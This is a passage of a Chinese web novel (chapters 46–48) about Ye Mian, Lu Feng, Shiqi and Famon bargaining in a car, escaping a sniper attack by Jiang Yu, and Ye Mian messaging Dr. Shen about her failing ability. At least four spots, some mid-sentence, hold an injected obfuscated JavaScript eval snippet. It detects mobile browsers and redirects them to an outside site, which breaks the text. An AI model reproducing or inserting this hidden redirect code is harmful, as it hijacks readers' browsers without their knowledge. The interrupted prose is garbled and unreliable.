——从头到尾安稳看戏的十七,稍有忐忑但准备直接摆烂的叶眠,隐而不发的法蒙,闷声开车的陆风。 叶眠苦中作乐地想:4A级景区。 她看了眼斜后面的十七,后者摘了兜帽,露出一头藏蓝色的短发,眼下正在细细地撕那张□□,好像对周遭的一切都不太关心。 真奇怪。叶眠身在修罗场,脑子却很自由。她到底是谁? “叶眠名义上的婚姻关系还没结束,”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421499|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风开口就是一道惊雷,“德里克先生别太着急了。” 叶眠:? 这你可没跟我说。 法蒙皱眉,十七不慌不忙地补充:“蒋钰在黑网下了新的系列委托,叶眠,你以后出门不要用自己的脸。” “我可以给她做个新的身份。”法蒙只想了一瞬间,果断开口。 “德里克家大业大,在联盟公民系统里造个假身份自然不难,但你这个继承人已经暴露得差不多,你确定,蒋钰想不到这一层吗?” 陆风选中自动行驶路线,按住调整按钮,普通的车内布局在机械声中发生更改,叶眠被迫转了过来,四人之间升起一道窄桌。 窄桌一端的杯架上扣着四个玻璃杯,旁边是瓶没贴标签的酒。十七一伸手,瓶塞弹出,酒液顺顺利利地流了出来——她给自己倒了一杯就停手了。 “实验版异能稳定液,就这么做成酒放着,看来陆指挥手下的神通比我们调查的还要大。”法蒙只看了一眼,就点破了那瓶东西的本质。 “你能弄到实验版四代禁制环,我为什么不能搞到异能稳定液呢?”陆风回敬。 心里门儿清的叶眠:我现在揭发小沈医生能活过今天吗? “叶眠,”念头刚落地,她就被陆风点了名字,“你说,你想杀法蒙的。” 叶眠把手里断成两半的禁制环放到长桌上,在法蒙沉沉的视线中,稳稳接下了这顶帽子:“是。” 陆风温声细语:“那你想怎么解释今天发生的事?” 叶眠沉吟一声,说:“我觉得法蒙死在榕叔手里太便宜他了。” 陆风轻笑一声,但叶眠并没有点到为止。 “法蒙今天要是死了,我这‘未婚妻’的身份立刻就成了废棋。蒋钰的追杀,德里克家族的迁怒,法格里布的困局……陆风,你能护得住我吗?你会次次帮我吗?如果陷入死局,你会不会打算像两年前一样,再‘权衡’一次?” 她稍微一停,平静而坦然地说:“你失去我的信任了,陆指挥。” 十七放下玻璃杯,不轻不重地发出一点动静,她也看向陆风,眼神稍微带了点冷。 “叶绵绵跟你走的时候,我以为她会幸福。”她说。 法蒙没有被叶眠那句“太便宜他了”打倒,听完这话,更是眯了眯眼睛,意味深长地说:“噢?所以叶绵绵跟蒋钰结婚,总不能是陆指挥亲手促成的吧。” 陆风给自己也倒了杯千金不卖的酒水,仰头时喉结微动。 “叶眠答应过我既往不咎。”他终于咽下那着实说不上好喝的液体,体面地开口。 虽然话是这么讲,但气势上还是弱了一点。叶眠暗赞十七会说多说点,却听法蒙又向她发问。 “那叶小姐,有什么想对我说的吗?” 法蒙舔了舔嘴唇,努力压抑着受伤一直没有得到疗愈的那股血腥气。 他受伤不轻,只是表面上撑得游刃有余,其他人只当他是看起来狼狈,却不知道他哪里都泛着痛——由身至心。 “舞会上的吻,嗯?”他竟然也给自己倒了一杯酒,慢条斯理地抬到嘴边,“说陆风根本无所谓,也是骗我的?” 叶眠顶着陆指挥陡然尖锐的眼神,认为自己最好也来杯酒壮壮胆。 46. 第 46 章 “德里克先生,这也要特意指出来吗?”十七慢悠悠地出声,意外也不意外地替叶眠说话,“男未婚女未……亲个嘴而已。” 法蒙没说话,他眼神如钩,定定地挂在叶眠身上。 看叶眠依旧不语,他轻轻叹了口气,粘着些许干涸血迹的右手落在窄桌上,中指指腹下赫然压着一片黑色金属。 他向前一推,就像一个出牌的动作:“我只是想要个说法。这么难开口吗,叶眠?” 如此敞亮的威胁,车内顿时为之一静。以法蒙的能力,在这到处都是金属的车厢里,确实是占全了优势。 而叶眠眼神下落,盯住他的手指。 这双漂亮的手,在A级异能者的对冲中到底没能保全自己,无名指指甲一侧被利索地切掉一角,渗出些许血色。 叶眠突然开口,毫无慌乱之色:“疼吗,典狱长?” 她伸出自己干干净净的手,盖住了法蒙手背,然后滑到侧面,再到他的掌心,最后轻轻一抬,虚虚握住他受伤的无名指。 “被关在雷暴囚笼里的时候,你恨不恨榕叔?” 桌面上的金属碎片微微颤动,窄桌乃至车体都在一瞬间内发生了变形,又瞬间恢复。这种变化很细微,但作为同一等级的异能者,另外三人自然对他的小动作有所察觉。 陆风稍稍坐直了一点,他无声地解了袖扣,挽起袖口。 窗门紧闭的空间里,十七耳边发丝却无风微动。她若有若无地瞥了指挥使一眼,又看回叶眠。 “恨吧?不自由的感觉,生死被别人拿捏在手心的感觉,要虚与委蛇、巧言令色、小心翼翼的感觉,”叶眠抬头,直直地望进那双漆黑的眼睛深处,“你知道我带着禁制环的这两个月,每天是什么感觉吗?” 那双骨节分明的手落在她掌心,僵得像尸体,任由她动作。叶眠微微用力,终于看到法蒙瞳孔一颤,露出一丝狼狈。 那不是因为疼,而是因为听懂到了她的言下之意。 叶眠眼神清透,像是雪融后的水:“你在挣脱榕叔控制后,第一时间就把他杀了以报心头之恨,完全是不留后患的做法。” “那你猜,我挣脱禁制环后,想对你做什么呢?” 出乎所有人意料,叶眠说完这句话就收回了手,反倒是法蒙似乎不适应地手指一抽。 “你会理解我的吧,典狱长?我说我不信任陆风,这是实话。但跟他其实算是叶绵绵的旧怨,”叶眠露出一个轻快的笑容,“跟你的话,完全就是新仇了。” “不过你确实帮过我,我也没你那么心狠,所以我不下死手。但,如果你要再问下去,可能就不太好看了,”她语重心长地劝,“何必呢?” “不太好看,”法蒙重复了一遍她的话,眉心处阴影深深,“这就是你的答案?” 叶眠反问:“不然怎样?” “典狱长,还记得第一次见面的时候,你怎么说的吗?” “‘既然是犯人,就不会获得真正的自由’,”她一字一句地说,“你用禁制环让我为你做事、次次呼之即来挥之即去,你远远地操纵着我的生死、为了那一丁点可能性封锁我的自由,到今天我终于摆脱枷锁,你还希望我给你什么答案呢?” 叶眠随手拿起禁制环,放在手中,拂过那处非暴力损坏的裂口。 “总不至于,是真对一个死囚动了心吧。” 明明白白的玩笑口吻,而法蒙知道,这是她的仁慈,也是警告。 她在说——适可而止,我给你留两分体面。 “当然。”法蒙扯了扯嘴角,收回手。 金属碎片把掌心顶出伤口,他却好似浑然不觉。因为不确定这三人准备做什么,加上叶眠“背叛”对他的打击,法蒙脸色微白,只是在陆风面前,他不肯也不能露出一丝脆弱。 呼吸间的血腥气不减反增,他有一瞬间的动摇和茫然:我真做错了吗? ……我不可能错。 绝不。 那点迷茫如同水面浮油,瞬间被眼底暗色吞噬。 他选的路,从来都容不得后悔,更容不得质疑。只是心口某处,仿佛被叶眠话语凝成的冰锥刺穿,寒意伴随着一种陌生的抽痛,不断蔓延,渗入骨头缝隙。 叶眠收起温良的表情,厌厌地闭上眼睛。体内异能透支后的空虚感阵阵袭来,太阳穴还在微微发胀,她知道,这次“联合”的质询被她混过去了,但不够。 ……简直差太多了。 谈判,她手牌不够、筹码也不够。陆风能调用反抗军的情报系统甚至军队,法蒙有革命党的人际关系以及德里克的部分势力,蒋钰能受到蒋仕临的荫蔽,而她身后,无依无靠。 只靠左右逢源和嘴上功夫,能侥幸一次两次,却不能在真正的杀局下游刃有余。 所以,要变强。 要有足够硬的本事、足够厚的家底,面对任何可能出现的危局。 十七无事一身轻,只当问题解决,主动打破凝重的气氛:“德里克先生愿意来基地坐坐吗?我们倒是有治愈异能者在,不过,如果你点头,就代表着革命党会考虑下次跟反抗军的合作。” “比如?”法蒙没有立刻应声。 明明他“人在屋檐下”,身上却看不出半分“不得不低头”的窘迫,叶眠只当感受不到法蒙的视线,闭目养神的背后是深深的疲倦和未散的冷汗。 十七想了想:“比如肃清德里克家族内的顽固派势力,包括老爷子在内的一干革新反对者。唔,先别急着答应,那可都是你的族亲,要清洗,肯定是一场不太好听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426610|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血雨腥风。” “……多谢提醒,我求之不得。”法蒙控制住表情,一掀眼皮,看向斜对面沉默无语的陆风。他虚伪地端起一派礼貌问:“陆指挥还有什么指教吗?” ——就好像对方不是在联盟四处点火的反抗军,他也不是间接负责调查逮捕的联盟军人。 “别把你们德里克尊贵的血弄到我车上。”陆风不咸不淡地说。 法蒙皮笑肉不笑地勾起嘴角,脸上依稀还有些打不碎的冷傲:“多谢指教。” 一场笼罩在功勋墓园上空的阴雨,就这样不声不响地散了。法蒙并没有被真的带回基地,他们停在下层区的一家黑诊所前。 陆风显然是不会动手了,于是十七单手把法蒙架下了车。敲门后露出个老头子的脑袋,她熟稔地开口:“给你送生意来了。人挺贵重的,别磕了碰了。” 等回到车上,她注意到叶眠已经麻利地跑到了后座,挑了挑眉,带着点挤兑开口:“不跟你的陆指挥腻腻歪歪了?” 叶眠一脸无辜:“这是什么话?” 十七心直口快,守墓人的架子丢了十万八千里:“叶绵绵吵着闹着要跟陆指挥走的时候,我就以为你要醒了,结果没有。我等了这么多年,以为等不到了,结果这冷不丁一见面,你还真是不得了。” 修了一路闭口禅的陆风终于出声,看似没有波澜的声音里掺了一丝别的情绪:“别把我说得跟什么祸害一样。还有,什么叫醒了?” 叶眠:噢太好了不止我一个听不懂。 十七嘴不留情:“你不就是祸害吗?叶绵绵跟着你过得多惨啊,我不聋不瞎,她刚自己都说了,那不都是你干的好事?” 陆风磨了磨牙,从后视镜里看了眼叶眠的表情。后者不声不响不太精神的样子,所以任心中又急又怒又悔又躁,他硬是暂时把情绪都压了下去,开口略显强硬:“所以到底是怎么回事?从叶绵绵到叶眠。” 这个疑问不止叶眠想不通,陆风也一直在想。他实在想不出个合理的理由,直到现在,从十七这里漏了点口风。 “你让他听吗?”没想到十七先问了叶眠。 叶眠:“……都听听吧。” 听完了不该纠缠的就别纠缠了。 “从一开始就是叶眠,”十七语速很快,“死星大火,叶眠沉睡,叶绵绵顶上,嗯,现在叶眠醒了。” 叶眠:? “抱歉,我不太懂你的意思,”她有点消化不了这个简单粗暴的消息,“我确实是刚醒,但我没有死星大火之前的记忆。” “啊?”十七懵了一下,“你不是叶眠?” “我……应该是吧?”叶眠被她问得也有点不确定了。 十七短暂思考了一下:“那我换个问法,你是猫头鹰吗?” 47. 第 47 章 代号小队,猫头鹰。 叶眠张了张嘴,话到嘴边,又像潮汐一样退了下去。 她本想说“我不太确定”,但是脑子里不期然闪过一句话—— “遇到困难睡大觉,祝我夜里不失眠。” 白天躺平多了晚上就会失眠,所以……才叫猫头鹰。 叶眠一改口风,试探性地问:“代号小队的猫头鹰?” 听到代号小队,十七明显松弛了一些:“死星大火之前你邀请了我,但没等我跟你确定,反抗军就到了。” “所以你认识代号小队其他人?”叶眠语速稍微加快。 十七眼神再次变化,似乎要钻破她的脸皮、看破她的所有想法。叶眠试图让自己显得真诚一点,但她的茫然和困惑太深,实在是给不出十七想要的回应。 短暂僵持之后,十七不太客气地开口,仿佛这个问题贬低了她的智商一样:“如果我认识的话,你们起代号还有什么用?” 叶眠讪讪一笑:“我大概是伤到了脑子,所以很多东西记不清了。” 陆风说:“实验体都对基地里发生的事情闭口不提,但从大火到现在12年了,你们想没想过,再深的秘密也肯定会有重见天日的一天。” 他的潜台词是,有些事该说就说,正好叶眠也不记得。 “你想象中的秘密跟叶眠没什么关系,”十七立刻反驳,“叶眠是……嗯……纯个人魅力。” 叶眠:那倒也……什么东西……? 陆风看了一眼后视镜,问:“叶眠——我说以前那个叶眠——是个怎样的人?” “有很多奇思妙想的幻想家、实验体中最早熟的大姐大,”十七回忆了一下,然后露出个复杂的微笑,“基地不会教、不准做的事情,叶眠会带我们偷偷做,比如违反宵禁、偷袭食堂、私接网线……” “跟叶绵绵完全不一样的一个人。”她耸了耸肩,总结说。 闻所未闻。陆风下意识张嘴想说,她跟他相伴十二年,跟描述里的那个人完全不沾边。 “我比你认识叶眠更早,”十七像是预判了他的台词一样,“叶绵绵出现,最早追溯到你给了她那枪麻醉开始。你认识的从头到尾都是叶绵绵,别把你认识的叶绵绵跟叶眠混为一谈。” 麻醉? 陆风没有第一时间解释,相反,他狠狠地闭紧了嘴,唇线抿到平直。 叶眠无声地看了一眼驾驶座上的人,在隐约的头痛中,翻找第一次做梦的记忆。 巨大的建筑——现在看多半是死星的实验基地。 大火,她在逃亡,然后星舰、军队…… 原来是那个对她开枪的排头兵。 “砰!” ——是与梦里、或者说回忆里一齐响起的声音。 叶眠一怔,心跳飙升:并非幻觉! 子弹击中了悬浮车后侧的防弹玻璃,留下一道白色浅痕。司机位陆风瞳孔骤缩,几乎是本能地,右手猛地一拉操纵杆,左手在控制面板上飞速滑动。 “咻——砰!砰!砰!” 子弹如疾风骤雨般倾泻而来,大部分打在强化车身上,发出沉闷的“咚咚”声,但仍有几颗击中车窗,玻璃没能顶住,裂纹迅速蔓延。 “我们被跟踪了。” 陆风面若冰霜,悬浮车在他的操控下猛地一个甩尾,冲入旁边一条更狭窄的巷道,试图利用复杂的地形摆脱追击。 “乒——乓啷!” 后排的防弹玻璃终于不堪重负,在一颗大口径子弹的冲击下彻底碎裂,玻璃碎片崩溅。 “小心!”叶眠下意识抓住十七的肩膀,用力将她往座位下方按去,自己也同时伏低身体。不过,几乎在同一时间,对面的十七也是完全一样的动作——伸手想将叶眠护住。 两人在雪花般的碎玻璃渣中尴尬地对视了一眼。 “你会的我也会。”十七抢先开口,一头蓝色的短发被气流吹得有些凌乱。 子弹嗖嗖地从破碎的车窗射入,打在对面座椅上,填充物弹开,像是爆开了一朵朵花。 下层区的住民对这种暴力事件习以为常,纷纷躲避,却也有人停下脚步,麻木或兴奋地看着这辆飞驰的“靶子”。 陆风面色冷峻,唤出悬浮车全息操作面板,手指快到带起残影。他将动力输出推到极限,悬浮车引擎发出不堪重负的嗡鸣,速度再次飙升。 他低喝一声:“抓稳了!” 无形的风压以悬浮车为中心骤然扩散,试图偏转、减缓射来的子弹。然而—— “子弹受风影响不正常,”陆风敏锐地察觉到异常,声音沉了下去,“他的异能可以稳定弹道!” “……蒋钰。” 十七闭着眼睛,双手紧紧抓住座椅边缘,指节泛白。三秒后,她猛地睁开眼,瞳孔已变成了与发色相同的海蓝色,仿佛倒映着整个街区的雨幕:“前面第二个路口左转!” 天空在她话音落下的瞬间,毫无征兆地暗了下来,细密的雨丝骤然变得滂沱,哗啦啦地砸落在车顶和街道上。 陆风没有丝毫犹豫,猛打方向,车身在湿滑的路面上划出一道惊险的弧线,冲入十七指示的岔路。 雨水极大程度地干扰了射击精度,子弹的呼啸声暂时稀疏了一些。 “过四个路人,右侧窄巷,到尽头施工处,拉高!”十七语速极快,海蓝色的眼睛仿佛能穿透雨幕和建筑。 陆风依言而行,悬浮车引擎发出过载的咆哮,几乎是垂直拔升,险之又险地擦着巷子两侧的墙壁,冲向上方纵横交错的管道和废弃施工架。 “看到他了!”十七的声音带上了一丝疲惫,“他在……不行,看不到了。” 随着悬浮车拔高脱离了她的感知范围,十七脸上的血色也褪得不剩几分,瞳色迅速变回纯黑,整个人有点虚脱地靠在座椅上:“两个小时前刚在墓园下过雨,我能力使用过度了。” “饶他一次,”陆风控制着车子在错综复杂的房顶结构与高空管道间穿梭,雨水敲打着车窗,也暂时洗刷掉了车身上部分触目惊心的弹痕,“我们暂时不能回基地了。” “嗯,最好是,”十七有气无力地附和,揉了揉刺痛的太阳穴,“找个安全屋避一下吧。就算你想打,我们这还有两个状态不好的。” 她指自己和后面脸色苍白的叶眠,陆风无声投来关切的一眼,那一眼太快,雁过不留痕。 等确认彻底甩掉了追击,陆风终于将车速放缓。布满弹孔、车窗破碎的悬浮车在雨中过于显眼。“不能再用这辆车了。”他说。 找了一个相对隐蔽的废弃平台将车停下,三人迅速下车,混入了下方街道熙攘的人群。 雨水和下层区永远灰蒙蒙的背景成了他们最好的掩护,陆风拦下一辆普普通通的出租车,拉开车门,示意两人上去。 车上,十七终于缓过那一口气,如同死鱼复生般找回了活力。她目光投向从袭击开始就异常沉默的叶眠,有些怀疑地问:“我们刚刚被袭击,你怎么一点反应没有?” 叶眠:……其实我也很想知道。 她觉得,自己应该是还没休息过来。因为在受袭的过程中,她不止一次尝试使用异能,结果只感受到一股空空荡荡的滞涩。 “我之前一直是异能抵抗状态,今天刚解开禁制环,可能是在墓园用力过猛,导致没恢复。”叶眠定了定神说。 “不应该啊,”十七却说,“我下雨都差不多恢复了,你再不济也该能弄点冰出来吧?” 叶眠兢兢业业地又试了一次:“不行,用不了。我现在连冰牙签都造不出来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439999|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十七挠了挠下巴,语气不太好地问前排陆风:“喂,你知道她怎么回事吗?” 陆风抬了抬墨镜,语气隐忍:“我怎么会知道?异能抵抗的事她都没跟我说过。” 叶眠作为当事人,抱着“债多不压身”的心态,竟然成了眼下最不着急的那一个:“等会儿再说。对了,刚刚是蒋钰的异能吗?” “嗯,B+级的枪林弹雨。蒋钰不能随手捏造热武器弹药,但是能影响射击环境和射击效果,”陆风说,“就刚刚短暂交手,我怀疑他又嗑了不少药。” 十七问:“如果他嗑药的话,能拉到A级吗?” 陆风沉默了一会儿,说:“如果我们运气不好,他现在就已经是A了。” 又一个A级。 叶眠舔了舔发干的嘴唇。 她的对手也在成长。 “我没察觉有人跟踪,”陆风简单地说,“所以他应该是从墓园那开始,分批、分区,断断续续地跟着我们。不知道他有没有发现法蒙。” 十七说着风凉话:“你肯定很希望他发现法蒙,最好能把法蒙杀了,或者搞得两败俱伤。” “当然,”陆风面色坦然,毫不心虚,“至少他们联手的可能性很小。法蒙必然知道,人是他招惹来的,叶眠是他这两次光明正大的行动暴露的。” 稍微一停,见叶眠没说话,陆风继续不遗余力地贬低典狱长:“连身份保密这点小事都做不好,真不知道他到底是干什么吃的。” 十七点头赞同:“这倒确实。” 出租车在一个看起来普普通通的居民区停下,陆风带着她们七拐八绕,走进一栋老旧公寓楼,打开了一间不起眼的公寓门。 “坐,我处理一下衣服。”十七脸色已经好转不少,虽说是要帮忙,但依然用着一口命令的语气。 她的眼睛再次变蓝,叶眠低头,只见自己的衣服上蒸腾起片片雾气。 “你这异能在生活里倒是好用,”陆风也享受了同样的待遇,“烧个开水什么的……唔咳!十七!” 雾气再次凝成液体,毫不留情地拍了他一脸。 下不了雨但能过个泼水节的十七:“反派死于话多。” 叶眠刚想笑,十七就看向她:“这句话还是你当时说的。” 叶眠:? “不过,先别管以前了。你先说说,你现在异能到底是怎么回事。”十七淡定地坐下,手指一点,往桌子上的空杯子里注满了水。 “我血液中封锁抗体太多,导致带四代环的时候会发生抵抗反应,这种抵抗是长期累积可能导致永久异能损伤的,”叶眠拿起杯子喝了一口,不知道是不是错觉,总觉得这水甜滋滋的,“但摘掉禁制环正常用异能后,为什么没有正常恢复,我也不清楚。” 水喝完了,十七从善如流地又给她加上。陆风见状,识相地去找饮水机了。 “我是第一次遇到这种情况。”叶眠捧起杯子说。 “封锁抗体这个事,没办法,”十七倒是清楚缘由,“我们在试验基地基本都是24h带着二代禁制环,所以实验体体内封锁抗体普遍不低。但也没听说谁抵抗这么严重啊。” “噢,可能因为你们没带过异能削弱……戒指,”叶眠看了眼陆风,“蒋钰给叶绵绵搞的好东西。” 十七眼神带着杀意,精准地落到刚端着杯子回来的陆风身上。后者深深吸了口气,按了下墨镜。 “那枚戒指被蒋钰收走了,具体加了什么东西我并不清楚。这份责任我不会推脱,”他话锋一转,“但过去发生的无法改变,最重要的是,之后要怎么办。你的异能不能总是时灵时不灵。” 叶眠笑了:“其实也好办,你放个人给我就行。” 她眼馋小沈很久了,难道今天终于有机会挖墙脚了吗? 48. 第 48 章 “你跟他……” 陆风终于涩着嗓子开口了。 “之前拜托沈医生稍微检查了一下我的异能,所以关于抵抗的事,他很清楚,”叶眠诚恳地说,“他医术相当高明,你也知道,只要把他借我,关于异能的问题一定能得到结果。” 是,我知道。 但异能抵抗的事,你甚至没跟我提过。 我以为你只是……暂时异能被锁住,早些晚些解开环都一样。 屋里没人说话的那几秒里,陆风想了很多。或许有太多是无根无据的猜测,但那些想法像带毒的藤蔓一样扎进他心里,根系延伸,穿透他的心房,留下延绵不断的隐痛。 他想起叶绵绵给沈舒白送了吊坠作为感谢,结果吊坠被叶眠要了回来,最后事情不了了之。 他想起两人前阵子经常白天混在一起,他发现了、问了,叶眠却只说是在聊他的眼睛,轻轻揭过。 他想起他问沈舒白为什么一直单身,后者含糊其辞、推脱过去不止一次。 他想起决定要放弃叶绵绵的时候,是沈舒白先斩后奏,对她用了珍贵的生长因子。 ……那是一份实实在在的救命之恩。 他知道,自己吃法蒙的醋,是因为他们一起跳舞的样子太刺眼,那种公开场合下的亲密带着一种宣示般的挑衅。 他也知道,叶眠有多想恢复异能自由,作为控制者的法蒙就有多难获得更进一步的机会,所以他们之间再如何暧昧,从始至终都横亘着无法逾越的信任鸿沟。 ……但沈舒白不一样。 思绪如同挣脱牢笼的野兽,扯乱了他的理智。陆风失控地一路想象下去,哪怕一切都建立在他患得患失的臆想之上,哪怕这个过程带着一种轻微的、撕裂般的痛意,他却无法管束自己的大脑,只能机械地、自虐一样地梳理着、推理着。 沈舒白,他是医生,是“自己人”。他性情温和、聪明但无害,他对叶眠付出的是专业知识和人道主义关心,如果理有十分,他就占十分,他的所作所为从各个角度看都是无可挑剔。 陆风从未考虑过叶绵绵离开他、转投他人怀抱的可能性,但如果是叶眠呢? 如果是一个自由的、理智的、对他失望透顶的叶眠呢? 沈舒白是在叶眠孤立无援时伸出援手的人,这种基于“恩情”和“专业”的联系,远比法蒙那种充满算计和对抗的关系更隐蔽也更危险。 所以,他们会不会把握不住距离?叶眠会不会对他有别的想法?如果放任他们接触,会不会产生什么不可挽回的后果? 陆风感到一种生疏的、冰冷的恐慌,因为他的思维一路狂奔到这,却发现如果假设成真,自己没有任何立场去阻止。 他有什么立场?前情人吗?他用什么理由?因为他担心沈舒白别有用心?可他自己又何尝不是满腹算计?因为他的独占欲?不想让她跟自己的朋友接触? ……多么荒唐的想法……但万一呢? 陆风一边痛斥自己,一边却感受到一种近在咫尺的紧迫。 他早已失去了她的信任,甚至连一句“我陪你”都说不出口——刚刚才说完“不会推脱责任”、才试图用行动弥补,此刻任何阻拦都会显得他心胸狭窄、出尔反尔。 他不想把她推得更远,不想让事情变得更坏。 陆风度过了混沌的自责和为难,终于发现自己站在悬崖边,而走到这的每一步,都出于过去他自己的选择。 他眼睁睁看着叶眠要走向另一个更懂如何帮助她的人,而他,连伸手挽留的资格都没有。 “……好。” 这个字几乎是从牙缝里挤出来的,带着压抑的涩意。陆风垂下眼睫,掩住眸底翻涌的暗流,努力让自己的声音听起来平稳如常:“我会联系他。” 这要放在三个月前,以陆风的性格,他根本想象不到,自己会因为叶绵绵跟沈舒白生出难言的芥蒂。但此时此地,他却疑神疑鬼到希望再次抬头时,能看到叶眠脸上算计成功的得意——哪怕是对他的算计。 陆风还没整理好情绪,叶眠的声音就已经传到耳朵里。 “哎,不用,我跟他说下就行,”她语气轻松,“之前担心他帮我做点事,在你这不好解释,现在得你首肯就好啦。陆秘书要忙的事太多,我们俩又不是非要麻烦你在中间递话。” 瞧瞧,她为了挖墙角付出了多大心力。 小沈医生身份不做好,她这也算给他争了一张保命牌。只要她还能在陆风这还能说得上话,小沈医生的底裤她就能给他兜住。 如果说不上话了……那就大难临头各自飞吧。 叶眠摸了摸下巴,满心理所当然。 陆风猝然抬头,隔着墨镜,叶眠看不到他眼中浓到化不开的情绪,反而是看戏的十七有所察觉。 十七先一愣,然后就乐了。她想起六年前的母舰上,叶绵绵要死要活跟着陆风走,再对比这个把陆指挥钓到呼吸不稳说不出话的叶眠—— “哎,你肯定是叶眠,”她胸有成竹地说,“我认识的人虽然不多,但叶眠是最会气人的。” 叶眠:? 怎么听着不像好话? * 当夜,远在反抗军基地的沈舒白连着打了三个喷嚏,手中的药剂因为材料混合时机耽搁,在几秒钟内迅速变黑报废。 他怀疑地晃了晃试管:有人咒我? 下一秒就收到了陆风的信息:“你之前都帮叶眠做了什么检查?” 沈舒白把试管一放,擦了擦手,开始猜陆风这句话有什么深意。没想到这条消息被很快撤回,陆风说:“算了,我不该怀疑你。” 沈舒白:……? 他打字,语气自然:“怀疑我什么?喂,咱俩都认识多久了,你说清楚啊。” 陆风盯着这行字,手指悬空,仿佛被无形之网禁锢。 是啊,沈舒白不是那种人,我到底在胡思乱想什么? 他们怎么可能……万一呢? 万一叶眠真的变心了……万一呢? 万一呢?! 陆风几乎是痛恨地咬住后槽牙,想到隔壁卧室里的那个人,只觉得仿佛面对着一只刺猬一样无处下手。 打不得、骂不了、问不清、想不通。 他曾经想过,叶绵绵像风筝,而他在这默认分床休息的夜里,总算意识到——自己已经不再是、也几乎不可能再是那个握线的人了。 不论风筝决定去往何方,他们的距离只会越来越远,很难再近如以前了。 隔壁,叶眠让十七先睡,自己靠在床头,抱着终端跟沈舒白邀功:“小沈医生~” 她还没打完第二句话,对面的消息先发过来了。 白干全白干:“……你跟陆风说什么了?” 遇到困难睡大觉:“?他跟你说什么了?” 白干全白干:“他说,他不该怀疑我[微笑]。” 遇到困难睡大觉:“吔,他怀疑你干什么?” 沈舒白只感觉额头青筋蹦得欢快。 白干全白干:“要是他肯说,我还来问你干什么?姑奶奶,你到底干了什么事啊?” 遇到困难睡大觉:“……我就是跟他要了你,没说别的啊?” 沈舒白倒吸一口凉气,打字的手都有点不听使唤:“不是,什么东西?你好好说话!” 遇到困难睡大觉:“我跟他坦白了异能抵抗的事情,跟他要了你来帮我治疗啊。” 遇到困难睡大觉:“你想哪去了,当我是什么要强抢民男的昏君吗?” 沈舒白看着这行字,悬着的心放下了一半,但另一半却提得更高了。他哭笑不得地揉了揉眉心。 白干全白干:“……叶女士,麻烦您下次措辞准确一点。‘要了你’这种说法,很容易引起误会,尤其是在陆指挥那里。” 他几乎能想象到陆风听到这句话时,那副表面平静无波、内心早已掀起惊涛骇浪的样子。难怪会说出“不该怀疑你”这种话,这误会可大了去了。 遇到困难睡大觉:“[无辜眨眼.jpg]我这不是为了显得我们关系铁、合作无间嘛。再说了,他怀疑你什么?怀疑你医术不精,还是怀疑你把我治死了?” 白干全白干:“……我猜,他怀疑的大概不是我的专业能力。” 而是怀疑我们之间,是否存在超出医患关系的、某种他不愿看到的“私交”。 这句话沈舒白没有打出来,但他知道叶眠能懂。他叹了口气,感觉自己莫名其妙就卷入了风暴中心,而且还是以一种极其尴尬的姿势。 遇到困难睡大觉:“哦~那他心眼真小。” 遇到困难睡大觉:“不过放心,我们是纯洁的革命友谊,以及救命之恩和合作关系。” 遇到困难睡大觉:“他现在已经同意你‘借调’给我了。所以,沈医生,什么时候有空来给我会诊一下?我们这两天计划先不回基地,但异能时灵时不灵的,很没安全感。” 白干全白干:“特效药的效果波动吗?是完全失效了还是?” 沈舒白进状态没两秒,对面就把他一把推了出来。 遇到困难睡大觉:“噢,我是不是没跟你说?” 不详的预感涌上心头,白干全白干:“……说什么?” 遇到困难:“今天在功勋墓园,反抗军这边的人差点把法蒙宰了,我在危急之时救了法蒙,逼他把我禁制环解开了[笑脸]。” 沈舒白感觉自己一瞬间变成了文盲,看不懂通用语的字符,他翻来覆去把这句话读了个三遍,终于大惊失色。 白干全白干:“?????” 叶眠自知理亏地给他理了一遍事情始末,沈舒白拖着过载的大脑,来回几问几答,总算弄了个七八分明白。 ——法蒙去功勋墓园祭拜父母,光明正大地带了叶眠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444028|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆风跟德里克家族合作计划截杀法蒙,结果被叶眠搅黄了。 